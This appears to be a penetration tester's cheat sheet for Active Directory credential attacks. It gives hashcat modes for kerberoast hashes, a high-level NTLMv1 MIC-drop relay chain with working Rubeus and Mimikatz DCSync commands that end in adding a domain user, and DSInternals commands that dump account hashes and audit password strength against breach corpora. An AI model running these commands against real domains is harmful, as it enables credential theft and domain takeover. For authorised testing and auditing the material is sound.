Hash cracking
Password modes
| Hashtype | Example | Mode |
|---|---|---|
| Kerberos RC4 | $krb5tgs$23$ | 13100 |
| Kerberos AES256 | $krb5tgs$18$ | 19700 |
Hashtopolis
When trying to crack kerberoast hashes, separate them into their respective types.
In Hashtopolis:
- Create a new hashlist, select the corresponding Kerberos hashtype and paste your hashes
- Create a new task, assign your wordlist and delete the appended
.???from the command line arguments - Open the saved task and assign the agent to it
NTLMv1
Only works with NTLMv1 because MIC (Message Integrity Code) can be dropped/omitted in the request. Not applicable to NTLMv2.
Bypass NTLM Message Integrity Check - Drop the MIC
Example attack chain (high-level):
- Coerce authentication to a notebook you control, then relay it between systems (e.g., DC1 to DC2).
- Configure resource-based constrained delegation (RBCD) for your controlled notebook.
- Request a service ticket for LDAP via Rubeus (
.\Rubeus.exe s4u /impersonateUser:admin /msdsspn:ldap/DC.example.local /rc4:<HASH> /user:<controlled-nb-name> /ptt /nowrap). - Start Mimikatz and use DCSync to retrieve a DA password hash (
lsadump::dcsync /user:admin /domain:example.local). - Optionally dump all users:
lsadump::dcsync /all /domain:lab.local /csv - Request a Kerberos TGT via Rubeus
asktgt(.\Rubeus.exe asktgt /user:admin /rc4:<RC4-Hash>). - Perform actions (e.g.
net user /add USERNAME PASSWORD /domain) using the issued TGT.
DC Sync
powershell
powershell -ep bypass -c ". Import-Module DSInternals; Get-ADReplAccount -All -Server dc1.example.local" > accounts.txtStore DCSync in variable
powershell
$accounts = Get-ADReplAccount -all -server <dc-ip> -Credential (Get-Credential)Mimikatz for password cracking
powershell
.\mimikatz.exe \"lsadump::dcsync /all /csv\" > accounts-csv.txtDSInternals
Setup
powershell
Install-Module -Name DSInternals -Force
Import-Module -Name DSInternalsTest-PasswordQuality
powershell
$accounts = Get-ADReplAccount -all -server <dc-ip> -Credential (Get-Credential)
$accounts | Test-PasswordQuality > testPwdQuality.txtHIBP database
Download password hashes from haveibeenpwned.com:
https://github.com/HaveIBeenPwned/PwnedPasswordsDownloader
powershell
$accounts | Test-PasswordQuality -WeakPasswordHashesFile \"C:\\temp\\pwnedpasswords_ntlm.txt\"
Passwords of these accounts have been found in the dictionary:Leaked-password corpus with ruleset
Use a leaked-password corpus you are licensed/allowed to use and apply rules like "OneRuleToRuleThemStill" (https://github.com/stealthsploit/OneRuleToRuleThemStill).
Use Hashcat to create a list of passwords with the ruleset:
powershell
hashcat --force sysleaks-dict.txt -r ./OneRuleToRuleThemStill.rule --stdout > leaks-with-rules.txtUse with DSInternals to check for passwords from the list:
powershell
$accounts | Test-PasswordQuality -WeakPasswordsFile \"C:\\temp\\pwnedpasswords-with-ruleset.txt\"